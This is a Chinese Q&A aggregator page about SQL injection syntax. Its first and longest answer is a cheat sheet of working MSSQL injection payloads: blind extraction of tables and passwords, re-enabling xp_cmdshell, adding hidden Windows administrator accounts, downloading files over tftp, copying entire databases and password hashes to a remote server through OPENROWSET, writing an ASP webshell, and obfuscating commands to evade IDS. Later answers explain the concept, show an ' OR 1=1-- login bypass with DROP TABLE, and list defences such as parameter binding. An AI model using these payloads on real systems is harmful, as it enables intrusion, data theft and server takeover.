當前位置:首頁 » 編程語言 » sql注入語法

sql注入語法

發布時間: 2022-05-28 18:14:17

sql注入的語句特徵

1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面, 1<返回錯誤頁面,說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶欄位名稱name)>0)
and 1=(select count(*) from admin where len(密碼欄位名稱password)>0)
5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字元
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看伺服器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
資料庫連接賬號的許可權,返回正常,證明是伺服器角色sysadmin許可權。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判斷連接資料庫帳號。(採用SA賬號連接 返回正常=證明了連接賬號是SA)
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--
反向PING自己實驗
;use master;declare @s int;exec sp_oacreate wscript.shell,@s out;exec sp_oamethod @s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帳號
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe
/c net user jiaoniang$ 1866574 /add--
創建一個虛擬目錄E盤:
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w 默認Web站點 -v e,e:--
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫 特殊技巧::%5c= 或者把/和 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫名(從1到5都是系統的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的欄位
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。假設存在user_id username,password 等欄位
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key= Roots,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schele 啟動服務
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32
cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查詢構造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的語句是得到資料庫中的第一個用戶表,並把表名放在ffff用戶的郵箱欄位中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access資料庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>;剛才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止。
讀欄位是這樣:
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到欄位名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到欄位名
[獲得數據表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一個加一個])
[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位=(select top 1 col_name(object_id(要查詢的數據表名),欄位列如:1) [ where 條件]
繞過IDS的檢測[使用變數]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
開啟遠程資料庫
基本語法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
參數: (1) OLEDB Provider name
其中連接字元串參數可以是任何埠用來連接,比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
復制目標主機的整個資料庫insert所有遠程表到本地表。
基本語法:
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程資料庫中的table1表中。實際運用中適當修改連接字元串的IP地址和埠,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
復制資料庫:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
復制哈西表(HASH)登錄密碼的hash存儲於sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之後,就可以進行暴力破解。
遍歷目錄的方法:先創建一個臨時表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構,並寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree適用許可權PUBLIC)
寫入表:
語句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
語句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
語句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
語句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
語句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句9:and 1=(SELECT IS_MEMBER(db_owner));--
把路徑寫到表中去:
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:web--
and 0<>(select top 1 paths from dirs1)--
把資料庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:oot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject(wscript.shell): o.run( request.querystring(cmd) ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree適用許可權PUBLIC
exec master.dbo.xp_dirtree c:
返回的信息有兩個欄位subdirectory、depth。Subdirectory欄位是字元型,depth欄位是整形欄位。
create table dirs(paths varchar(100),id int)
建表,這里建的表是和上面xp_dirtree相關連,欄位相等、類型相同。
insert dirs exec master.dbo.xp_dirtree c:
只要我們建表與存儲進程返回的欄位相定義相等就能夠執行!達到寫表的效果.

Ⅱ SQL注入的特點與危害分別有哪些

1、廣泛性:任何一個基於SQL語言的資料庫都可能被攻擊,很多開發人員在編寫Web應用程序時未對從輸入參數、Web表單、Cookie等接收到的值進行規范性驗證和檢測,通常會出現SQL注入漏洞。
2、隱蔽性:SQL注入語句一般都嵌入在普通的HTPP請求中,很難與正常語句區分開,所以當前許多防火牆都無法識別予以警告,而且SQL注入變種極多,攻擊者可以調整攻擊的參數,所以使用傳統的方法防禦SQL注入效果非常不理想。
3、危害大:攻擊者可以通過SQL注入獲取到伺服器的庫名、表名、欄位名,從而獲取到整個伺服器中的數據,對網站用戶的數據安全有極大的威脅。攻擊者也可以通過獲取到的數據,得到後台管理員的密碼,然後對網頁頁面進行惡意篡改。這樣不僅對資料庫信息安全造成嚴重威脅,對整個資料庫系統安全也有很大的影響。
4、操作方便:互聯網上有很多SQL注入工具,簡單易學、攻擊過程簡單,不需要專業的知識也可以自如運用。

Ⅲ 什麼是SQL注入

SQL注入是一種非常常見的資料庫攻擊手段,SQL注入漏洞也是網路世界中最普遍的漏洞之一。大家也許都聽過某某學長通過攻擊學校資料庫修改自己成績的事情,這些學長們一般用的就是SQL注入方法。

SQL注入其實就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使資料庫執行非常規代碼的過程。簡單來說,就是數據「越俎代庖」做了代碼才能乾的事情。

這個問題的來源是,SQL資料庫的操作是通過SQL語句來執行的,而無論是執行代碼還是數據項都必須寫在SQL語句之中,這就導致如果我們在數據項中加入了某些SQL語句關鍵字(比如說SELECT、DROP等等),這些關鍵字就很可能在資料庫寫入或讀取數據時得到執行。

二、SQL注入的產生需要滿足以下兩個條件
1、參數用戶可控:前端傳給後端的參數用戶可控。2、參數帶入資料庫查詢:傳入的參數拼接到SQL語句中,且帶入資料庫中查詢。

1、按照注入點分類:

(1)數字型注入:許多網頁鏈接有類似的結構 http://xxx.com/users.php?id=1 基於此種形式的注入,注入點id為數字,一般被叫做數字型注入點,通過這種形式查詢出後台資料庫信息返回前台展示,可以構造類似以下的SQL語句進行爆破:select *** from 表名 where id=1 and 1=1。
2)字元型注入:網頁鏈接有類似的結構

http://xxx.com/users.php?name=admin 這種形式,注入點name為字元串,被稱為字元型注入,可以用:select *** from 表名 where name='admin' and 1=1。

3)搜索型注入:主要是指在數據搜索時沒有過濾搜索參數,一般在鏈接地址中有 "keyword=「關鍵字」",注入點提交的是SQL語句,select * from 表名 where 欄位 like '%關鍵字%' and '%1%'='%1%'。

Ⅳ 簡述什麼是SQL注入,寫出簡單的SQL注入語句

SQL注入:利用現有應用程序,將(惡意)的SQL命令注入到後台資料庫引擎執行的能力,這是SQL注入的標准釋義。

Ⅳ 關於SQL注入。

SQL注入原理深度解析作者:admin 文章來源:轉載 點擊數:699 更新時間:2008-8-29 -------------------------------------------------------------------------------- 對於Web應用來說,注射式攻擊由來已久,攻擊方式也五花八門,常見的攻擊方式有SQL注射、命令注射以及新近才出現的XPath注射等等。本文將以SQL注射為例,在源碼級對其攻擊原理進行深入的講解。 一、注射式攻擊的原理 注射式攻擊的根源在於,程序命令和用戶數據(即用戶輸入)之間沒有做到涇渭分明。這使得攻擊者有機會將程序命令當作用戶輸入的數據提交給We程序,以發號施令,為所欲為。 為了發動注射攻擊,攻擊者需要在常規輸入中混入將被解釋為命令的「數據」,要想成功,必須要做三件事情: 1.確定Web應用程序所使用的技術 注射式攻擊對程序設計語言或者硬體關系密切,但是這些可以通過適當的踩點或者索性將所有常見的注射式攻擊都搬出來逐個試一下就知道了。為了確定所採用的技術,攻擊者可以考察Web頁面的頁腳,查看錯誤頁面,檢查頁面源代碼,或者使用諸如Nessus等工具來進行刺探。 2.確定所有可能的輸入方式 Web應用的用戶輸入方式比較多,其中一些用戶輸入方式是很明顯的,如HTML表單;另外,攻擊者可以通過隱藏的HTML表單輸入、HTTP頭部、cookies、甚至對用戶不可見的後端AJAX請求來跟Web應用進行交互。一般來說,所有HTTP的GET和POST都應當作用戶輸入。為了找出一個Web應用所有可能的用戶輸入,我們可以求助於Web代理,如Burp等。 3.查找可以用於注射的用戶輸入 在找出所有用戶輸入方式後,就要對這些輸入方式進行篩選,找出其中可以注入命令的那些輸入方式。這個任務好像有點難,但是這里有一個小竅門,那就是多多留意Web應用的錯誤頁面,很多時候您能從這里得到意想不到的收獲。 二、SQL注射原理 上面對注射攻擊做了一般性的解釋,下面我們以SQL注射為例進行講解,以使讀者對注射攻擊有一個感性的認識,至於其他攻擊,原理是一致的。 SQL注射能使攻擊者繞過認證機制,完全控制遠程伺服器上的資料庫。SQL是結構化查詢語言的簡稱,它是訪問資料庫的事實標准。目前,大多數Web應用都使用SQL資料庫來存放應用程序的數據。幾乎所有的Web應用在後台都使用某種SQL資料庫。跟大多數語言一樣,SQL語法允許資料庫命令和用戶數據混雜在一起的。如果開發人員不細心的話,用戶數據就有可能被解釋成命令,這樣的話,遠程用戶就不僅能向Web應用輸入數據,而且還可以在資料庫上執行任意命令了。 三、繞過用戶認證 我們這里以一個需要用戶身份認證的簡單的Web應用程序為例進行講解。假定這個應用程序提供一個登錄頁面,要求用戶輸入用戶名和口令。用戶通過HTTP請求發送他們的用戶名和口令,之後,Web應用程序檢查用戶傳遞來用戶名和口令跟資料庫中的用戶名和口令是否匹配。這種情況下,會要求在SQL資料庫中使用一個資料庫表。開發人員可以通過以下SQL語句來創建表: CREATETABLEuser_table( idINTEGERPRIMARYKEY, usernameVARCHAR(32), passwordVARCHAR(41) ); 上面的SQL代碼將建立一個表,該表由三欄組成。第一欄存放的是用戶ID,如果某人經過認證,則用此標識該用戶。第二欄存放的是用戶名,該用戶名最多由32字元組成。第三欄存放的是口令,它由用戶的口令的hash值組成,因為以明文的形式來存放用戶的口令實在太危險,所以通常取口令的散列值進行存放。我們將使用SQL函數PASSWORD()來獲得口令的hash值,在MySQL中,函數PASSWORD()的輸出由41字元組成。 對一個用戶進行認證,實際上就是將用戶的輸入即用戶名和口令跟表中的各行進行比較,如果跟某行中的用戶名和口令跟用戶的輸入完全匹配,那麼該用戶就會通過認證,並得到該行中的ID。假如用戶提供的用戶名和口令分別為lonelynerd15和mypassword,那麼檢查用戶ID過程如下所示: SELECTidFROMuser_tableWHEREusername='lonelynerd15'ANDpassword=PASSWORD('mypassword') 如果該用戶位於資料庫的表中,這個SQL命令將返回該用戶相應的ID,這就意味著該用戶通過了認證;否則,這個SQL命令的返回為空,這意味著該用戶沒有通過認證。 下面是用來實現自動登錄的Java代碼,它從用戶那裡接收用戶名和口令,然後通過一個SQL查詢對用戶進行認證: Stringusername=req.getParameter("username"); Stringpassword=req.getParameter("password"); Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; ResultSetrs=stmt.executeQuery(query); intid=-1;//-. while(rs.next()){ id=rs.getInt("id"); } 開頭兩行代碼從HTTP請求中取得用戶輸入,然後在下一行開始構造一個SQL查詢。執行查詢,然後在while()循環中得到結果,如果一個用戶名和口令對匹配,就會返回正確的ID。否則,id的值仍然為-1,這意味著用戶沒有通過認證。表面上看,如果用戶名和口令對匹配,那麼該用戶通過認證;否則,該用戶不會通過認證——但是,事實果真如此嗎?非也!讀者也許已經注意到了,這里並沒有對SQL命令進行設防,所以攻擊者完全能夠在用戶名或者口令欄位中注入SQL語句,從而改變SQL查詢。為此,我們仔細研究一下上面的SQL查詢字元串: Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; 上述代碼認為字元串username和password都是數據,不過,攻擊者卻可以隨心所欲地輸入任何字元。如果一位攻擊者輸入的用戶名為 』OR1=1— 而口令為 x 那麼查詢字元串將變成下面的樣子: SELECTidFROMuser_tableWHEREusername=''OR1=1--'ANDpassword =PASSWORD('x') 該雙劃符號--告訴SQL解析器,右邊的東西全部是注釋,所以不必理會。這樣,查詢字元串相當於: SELECTidFROMuser_tableWHEREusername=''OR1=1 如今的SELECT語句跟以前的已經大相徑庭了,因為現在只要用戶名為長度為零的字元串''或1=1這兩個條件中一個為真,就返回用戶標識符ID——我們知道,1=1是恆為真的。所以這個語句將返回user_table中的所有ID。在此種情況下,攻擊者在username欄位放入的是SQL指令'OR1=1--而非數據。 四、構造SQL注射代碼 為了成功地注入SQL命令,攻擊者必須將開發人員的現有SQL命令轉換成一個合法的SQL語句,當然,要盲注是有些難度的,但一般都是這樣: 'OR1=1– 或者 ')OR1=1-- 此外,許多Web應用提供了帶來錯誤報告和調試信息,例如,利用'OR1=1--對Web應用進行盲注時,經常看到如下所示的錯誤信息: Errorexecutingquery:YouhaveanerrorinyourSQLsyntax;tousenear'SELECT(title,body)FROMblog_tableWHEREcat='OR1=1'atline1 該錯誤信息詳細地為我們展示了完整的SQL語句,在此種情況下,SQL資料庫所期待的好象是一個整數,而非字元串,所以可以注入字元串OR1=1--,把單引號去掉就應該能成功注入了。對於大多數SQL資料庫,攻擊者可以在一行中放入多個SQL語句,只要各個語句的語法沒有錯誤就行。在下面的代碼中,我們展示了如何將username設為'OR1=1並把password設為x來返回最後的用戶ID: Stringquery="SELECTidFROMuser_tableWHERE"+ "username='"+username+"'AND"+ "password=PASSWORD('"+password+"')"; 當然,攻擊者可以注入其它的查詢,例如,把username設為: 'OR1=1;DROPTABLEuser_table;-- 而這個查詢將變成: SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table;--'ANDpassword=PASSWORD('x'); 它相當於: SELECTidFROMuser_tableWHEREusername=''OR1=1;DROPTABLEuser_table; 這個語句將執行句法上完全正確的SELECT語句,並利用SQLDROP命令清空user_table。 注射式攻擊不必非要進行盲式攻擊,因為許多Web應用是利用開放源代碼工具開發的,為了提高注射式攻擊的成功率,我們可以下載免費的或者產品的試用版,然後在自己的系統上搭建測試系統。如果在測試系統上發現了錯誤,那麼很可能同樣的問題也會存在於所有使用該工具的Web應用身上。 五、小結 我們在本文中向讀者介紹了注射攻擊的根本原因,即沒有對數據和命令進行嚴格區分。然後通過一些程序源碼對SQL的攻擊進行了細致的分析,使我們對SQL注射機理有了一個深入的認識。如果您是一名web應用開發人員,那麼您就當心了,一定不要盲目相信用戶端的輸入,而要對用戶輸入的數據進行嚴格的「消毒」處理,否則的話,SQL注射將會不期而至。 【51CTO.COM 獨家特稿,轉載請註明出處及作者!】 本篇文章來源於 新世紀網安基地 (www.520hack.com) 原文出處: http://www.520hack.com/Article/Text5/server/200808/11251.html 詳細吧。。 求給分額!

Ⅵ 什麼是sql注入,請簡單的解釋一下。

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令。
具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到後台資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。
比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL注入式攻擊。

Ⅶ SQL注入是什麼意思

SQL注入屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據隔離,在讀取數據的時候,錯誤地將數據作為代碼的一部分執行而導致的。
如何處理SQL注入情況?三個方面:
1、過濾用戶輸入參數中的特殊字元,降低風險;
2、禁止通過字元串拼接sql語句,嚴格使用參數綁定來傳入參數;
3、合理使用資料庫框架提供的機制。

Ⅷ 怎樣使用sql注入語句

一般,SQL
注入是
SQL語句直接是從頁面獲得值進行拼接的。
如果
12
string
strUserid
=
"admin";
//從頁面獲得輸入內容string
strSql
=
"select
1
from
users
where
userid='"
+
strUserid
+
"'
";

strUserid
正常輸入,是沒問題的。
1
select
1
from
users
where
userid='admin'
但,SQL注入時候會這樣寫
1
string
strUserid
=
"'
or
1=1
--";
這時,SQL為
1
select
1
from
users
where
userid=''
or
1=1
--'
這樣永遠返回驗證通過的結果。

Ⅸ 跪求SQL手工注入語句及原理

先舉個例子,你要登錄一個網站,上面讓你輸入用戶名字和密碼。那麼,假如你輸入的用戶名是
admin
,但是你不知道密碼,你就輸入了一個
1'
OR
'1'
=
'1
,那麼,你就提交了兩個參數給伺服器。假如,伺服器拿這兩個參數拼SQL語句:SELECT
T.*
FROM
XXX_TABLE
TWHERE
T.USER_ID
=
'/*param1*/'AND
T.PASSWORD
=
'/*param2*/'那麼,你提交的兩個參數就使SQL文變成了:SELECT
T.*
FROM
XXX_TABLE
TWHERE
T.USER_ID
=
'admin'AND
T.PASSWORD
=
'1'
OR
'1'
=
'1'那麼,這個SQL原來的校驗功能就被你繞過去了,你的這種行為就稱之為SQL注入。

Ⅹ sql注入語句

username="xxx"的目的是判讀username欄位中有沒有xxx這條記錄,有的話,整條語句為真值,頁面正常。否則不正常。如果寫成select id from XXX.dbo.admin where password>1,返回不管真值還是假值,無意義,得不到任何有用信息。另外,你是看到返回的密碼的,SQL語句是被帶到了程序中執行,程序並不會顯示輸出SQL結果。

熱點內容
編程sqs 發布:2025-02-12 11:09:55 瀏覽:238
electron脫離編譯環境 發布:2025-02-12 11:08:21 瀏覽:68
安卓一體機喇叭插口在哪裡 發布:2025-02-12 11:07:37 瀏覽:866
廣東江門首選dns伺服器地址 發布:2025-02-12 10:56:55 瀏覽:954
台灣大量IP伺服器 發布:2025-02-12 10:51:43 瀏覽:375
sship訪問伺服器 發布:2025-02-12 10:50:16 瀏覽:98
人機局腳本 發布:2025-02-12 10:48:03 瀏覽:66
安卓哪裡可以下2k17 發布:2025-02-12 10:45:36 瀏覽:317
m1二級緩存才4m 發布:2025-02-12 10:36:43 瀏覽:177
編譯器一直返回error 發布:2025-02-12 10:25:27 瀏覽:556